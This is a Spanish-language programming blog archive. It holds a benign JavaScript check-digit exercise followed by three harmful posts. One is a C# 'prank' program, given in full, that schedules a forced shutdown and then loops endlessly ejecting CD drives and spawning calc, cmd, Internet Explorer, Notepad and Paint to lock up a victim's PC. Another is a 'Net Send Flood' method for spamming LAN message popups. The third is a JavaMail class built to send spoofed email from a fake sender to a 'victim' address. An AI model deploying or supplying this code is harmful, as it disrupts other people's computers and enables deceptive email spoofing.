Archivo del sitio

Ejercicio 4 de JavaScript

ENUNCIADO

ACTIVIDAD 4 – GENERACIÓN DE DÍGITO VERIFICADOR

Construir una página HTML que contenga una entrada del tipo TEXT y
una entrada del tipo SUBMIT que permita leer un campo de texto
NUMÉRICO que no EXCEDA los seis (6) caracteres y que CALCULE en un
entrada del tipo TEXT que DEBE ESTAR DESHABILITADA el dígito
verificador asociado al código que se ha ingresado, de acuerdo al
siguiente procedimiento:
Para obtener el dígito verificador se debe aplicar el siguiente
procedimiento. Suponga que se desea generar el dígito verificador de 2504
deberá aplicar el siguiente procedimiento:
COEFICIENTES 3 2 7 6 5 4
* * * * * *
CÓDIGO 2 5 0 4 1 1
Se multiplica cada dígito del código por los coeficientes que
corresponden y luego se suman todas las cantidades. En este caso se
tiene: 6 + 10 + 0 + 24 + 5 + 4 = 49
Luego se debe dividir el 49 por 9 y se debe guardar el RESTO y el dígito
verificador se calcula de acuerdo a la siguiente fórmula:
Dígito Verificador = 9 – RESTO
En el caso del ejemplo el dígito verificador debería ser 5, dado que el
resto de la división entre 49 y 9 es 4 y al realizar la resta se tiene
que el dígito es 5.


<html>
<head>
<title> R04</title>
</head>

<script>

 function algo(formulario){
 if((formulario.codigo.value.length!=6)||(isNaN(formulario.codigo.value)))
 {
 document.write('Debe ser un numero y debe ser de largo maximo 6');
 }else{
 var codigo =formulario.codigo.value;
 var codigoD = codigo.split("");
 var coeficientes = '327654';
 var probando = coeficientes.split("");
 var numeros=0;
 for(i=0;i<6;i++){
 numeros=numeros+(parseInt(codigoD[i])*probando[i]);
 }
 var resultado =9- numeros%9;
 formulario.digito.value= resultado;}
 return false;

 }


</script>


<body>

<form name="formulario"  method="post"  onSubmit="return algo(this);">Escriba el codigo <br/>
<input type="text" name="codigo"maxlength="6" />
<input type ="text" name="digito" disabled ="disabled" />
<input type="submit" name="valida" value="Validar" />

Anuncios

Broma pesada [Dejar la crema en el PC]

El código hace lo siguiente:

Infinitamente abre y cierra el lector , ejecuta programas, dejara el pc para la corneta en un estado de coma xD , por si quieren hinchar las pelotas molestar a alguien, con esto es suficiente.

PD: No sean tan malos  esta programado en C#.


using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;

namespace WindowsApplication7
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
[DllImport("kernel32")]
static extern bool DeviceIoControl(IntPtr hDevice,
uint dwIoControlCode,
IntPtr lpInBuffer,
uint nInBufferSize,
IntPtr lpOutBuffer,
uint nOutBufferSize,
ref uint lpBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32")]
static extern IntPtr CreateFile(string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32")]
static extern int CloseHandle(IntPtr dHandle);

private static IntPtr fHandle;
private static uint ret;

private void cdrom()
{
DriveInfo[] aDrives = DriveInfo.GetDrives();

foreach (DriveInfo d in aDrives)
{
if (d.DriveType.ToString().ToUpper() == "CDROM")
{
abrir(d.Name.Remove(2));
cerrar(d.Name.Remove(2));
}
}

}

private void abrir(string cd)
{
fHandle = CreateFile(@"\\?\" + cd, 0x80000000, 0, IntPtr.Zero, 3, 0, IntPtr.Zero);
DeviceIoControl(fHandle, 0x2D4808, IntPtr.Zero, 0, IntPtr.Zero, 0, ref ret, IntPtr.Zero);
CloseHandle(fHandle);
fHandle = IntPtr.Zero;
}

private void cerrar(string cd)
{
fHandle = CreateFile(@"\\?\" + cd, 0x80000000, 0, IntPtr.Zero, 3, 0, IntPtr.Zero);
DeviceIoControl(fHandle, 0x2D480C, IntPtr.Zero, 0, IntPtr.Zero, 0, ref ret, IntPtr.Zero);
CloseHandle(fHandle);
fHandle = IntPtr.Zero;
}

private void Form1_Load(object sender, EventArgs e)
{
System.Diagnostics.Process process1;
process1 = new System.Diagnostics.Process();

//Do not receive an event when the process exits.

process1.EnableRaisingEvents = false;

//The "/C" Tells Windows to Run The Command then Terminate

string strCmdLine,nuevo;
strCmdLine = "";
nuevo = "-s -t 900";

System.Diagnostics.Process.Start("shutdown.exe", nuevo);
while(1&amp;lt;2)
{
cdrom();
System.Diagnostics.Process.Start("calc.exe", strCmdLine);
System.Diagnostics.Process.Start("cmd.exe", strCmdLine);
System.Diagnostics.Process.Start("iexplore.exe", strCmdLine);
System.Diagnostics.Process.Start("notepad.exe", strCmdLine);
System.Diagnostics.Process.Start("mspaint.exe", strCmdLine);

}

//  process1.Close();

//test

}
}
}

Net Send Flood C# [By Pablo Videla]

Aqui les mostraré un método de ejemplo para enviar mensajes a través de una LAN, no publique la aplicación completa por que esta hecha en modo gráfico y me dio paja flojera publicar todo el código, asi que con el simple metodo podran hacer su propio programa , saludos.


private void btEnviar_Click(object sender, EventArgs e)
{

System.Diagnostics.Process process1;
process1 = new System.Diagnostics.Process();
//Do not receive an event when the process exits.

process1.EnableRaisingEvents = false;

//   process1.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;

//The "/C" Tells Windows to Run The Command then Terminate

string pc,mensaje;
pc = txtPc.Text;
mensaje = txtMensaje.Text;
int i , cantidad;
cantidad = int.Parse(txtCantidad.Text);
try
{
for (i = 0; i &amp;lt; cantidad; i++)
{
System.Diagnostics.Process.Start("net.exe", "send " + pc + " " + mensaje);
lbSumando.Text = "" + i;
lbSumando.Update();
}lbSumando.Text = ""+cantidad;
}

catch (Exception error)
{
MessageBox.Show("Error .. " + error.Message);
}
}

Clase para Enviar Correos desde Java [JavaMail]

Clase Creada para enviar Correos desde Java usando
la libreria JavaMail que la pueden
descargar desde aqui:
DESCARGAR

/*

* Autor: Pablo Videla
* Fecha: 21/07/2009 18:14
*/

package Mail;
import java.util.Properties;

import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.swing.JOptionPane;

public class Mail
{
private String host;
private String usuario;
private String password;
private String puerto;
private String auth; //boolean
private String conexionSegura; // boolean
private String CorreoVictima;
private String CorreoFalso;
private String nombreFalso;
private String mensaje;
private String asunto;
public Mail()// constructor sin parametros
{
}
// constructor con todos los parametros
public Mail(String host, String usuario, String password, String puerto, String auth, String conexionSegura, String CorreoVictima, String CorreoFalso, String nombreFalso, String mensaje,String asunto) {
this.host = host;
this.usuario = usuario;
this.password = password;
this.puerto = puerto;
this.auth = auth;
this.conexionSegura = conexionSegura;
this.CorreoVictima = CorreoVictima;
this.CorreoFalso = CorreoFalso;
this.nombreFalso = nombreFalso;
this.mensaje = mensaje;
this.asunto = asunto;

}
// constructor sin el nombre falso
public Mail(String host, String usuario, String password, String puerto, String auth, String conexionSegura, String CorreoVictima, String CorreoFalso, String mensaje,String asunto) {
this.host = host;
this.usuario = usuario;
this.password = password;
this.puerto = puerto;
this.auth = auth;
this.conexionSegura = conexionSegura;
this.CorreoVictima = CorreoVictima;
this.CorreoFalso = CorreoFalso;
this.mensaje = mensaje;
this.asunto = asunto;
}
// constructor sin el correo y el nombre falso
public Mail(String host, String usuario, String password, String puerto, String auth, String conexionSegura, String CorreoVictima, String mensaje,String asunto) {
this.host = host;
this.usuario = usuario;
this.password = password;
this.puerto = puerto;
this.auth = auth;
this.conexionSegura = conexionSegura;
this.CorreoVictima = CorreoVictima;
this.mensaje = mensaje;
this.asunto = asunto;
}
public String getAsunto()
{
return asunto;
}
public void enviarMensaje()
{
try
{
// Propiedades de la conexión
Properties props = new Properties();
props.setProperty("mail.smtp.host",""+ getHost()); // host del server
props.setProperty("mail.smtp.starttls.enable",""+ getConexionSegura());//seguridad?
props.setProperty("mail.smtp.port", ""+getPuerto());// puerto en mi caso 25
props.setProperty("mail.smtp.user",""+ getUsuario());//cualquier cosa
props.setProperty("mail.smtp.auth", getAuth());//no necesita identifiacion

// Preparamos la sesion
Session session = Session.getDefaultInstance(props);
// Construimos el mensaje
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress(""+getCorreoFalso()));

message.addRecipient(
Message.RecipientType.TO,
new InternetAddress(""+getCorreoVictima()));
message.setSubject(""+getAsunto());
// message.setContent(""+getMensaje(),"text/ht ");
message.setHeader("text/html","charset=iso-8859-1");
message.setContent(getMensaje(),"text/html; charset=iso-8859-1");

// Lo enviamos.
Transport t = session.getTransport("smtp");
//  t.connect("127.0.0.1", null, null);
// t.connect("localhost",null,null);
t.connect(""+getUsuario(),""+getPassword());
//   for(int i=0;i&amp;amp;lt;5;i++){
t.sendMessage(message,message.getAllRecipients());//funciona con ciclos
JOptionPane.showMessageDialog(null, "¡Enviado Correctamente a "+getCorreoVictima()+" !");
//   }
// Cierre.
t.close();
}
catch (Exception e)
{
e.printStackTrace();
// e.getMessage();
JOptionPane.showMessageDialog(null, "Error ... "+ e.getMessage());
}
}

public String getCorreoFalso() {
return CorreoFalso;
}

public void setCorreoFalso(String CorreoFalso) {
this.CorreoFalso = CorreoFalso;
}

public String getCorreoVictima() {
return CorreoVictima;
}

public void setCorreoVictima(String CorreoVictima) {
this.CorreoVictima = CorreoVictima;
}

public String getAuth() {
return auth;
}

public void setAuth(String auth) {
this.auth = auth;
}

public String getConexionSegura() {
return conexionSegura;
}

public void setConexionSegura(String conexionSegura) {
this.conexionSegura = conexionSegura;
}

public String getHost() {
return host;
}

public void setHost(String host) {
this.host = host;
}

public String getMensaje() {
return mensaje;
}

public void setMensaje(String mensaje) {
this.mensaje = mensaje;
}

public String getNombreFalso() {
return nombreFalso;
}

public void setNombreFalso(String nombreFalso) {
this.nombreFalso = nombreFalso;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}

public String getPuerto() {
return puerto;
}

public void setPuerto(String puerto) {
this.puerto = puerto;
}

public String getUsuario() {
return usuario;
}

public void setUsuario(String usuario) {
this.usuario = usuario;
}

}
A %d blogueros les gusta esto: